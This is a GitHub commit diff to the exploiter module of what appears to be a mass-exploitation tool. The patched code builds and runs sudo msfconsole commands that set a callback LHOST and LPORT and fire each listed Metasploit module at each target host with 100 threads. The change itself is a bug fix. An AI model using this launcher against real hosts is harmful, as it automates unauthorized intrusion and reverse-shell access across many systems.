Skip to content

Commit f437573

Browse files
daedalusEkultek
authored andcommitted
Issue 55 workarround (#113)
* Issue 55 workarround * bug fixed * Update exploiter.py
1 parent f178eff commit f437573

File tree

1 file changed

+5
-4
lines changed

1 file changed

+5
-4
lines changed

lib/exploitation/exploiter.py

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def start_exploit(self):
4242
template = (
4343
"sudo {} {} -x 'workspace -a {}; "
4444
"setg LHOST {}; setg LPORT {}; setg VERBOSE "
45-
"true; setg THREADS 100; set RHOSTS {}; use {} -j;'"
45+
"true; setg THREADS 100; set RHOSTS {}; set RHOST {}; use {} -j; exit -y'"
4646
)
4747
for host in self.hosts:
4848
for mod in self.mods:
@@ -51,10 +51,11 @@ def start_exploit(self):
5151
mod.strip(), host.strip()
5252
)
5353
)
54-
template = template.format(
54+
cmd = template.format(
5555
"ruby" if self.ruby_exec else "",
5656
self.msf_path if self.msf_path is not None else "msfconsole",
5757
self.configuration[0], self.configuration[1], self.configuration[2],
58-
host.strip(), mod.strip()
58+
host.strip(), host.strip(), mod.strip()
5959
)
60-
lib.settings.cmdline(template)
60+
print(cmd)
61+
lib.settings.cmdline(cmd)

0 commit comments

Comments
 (0)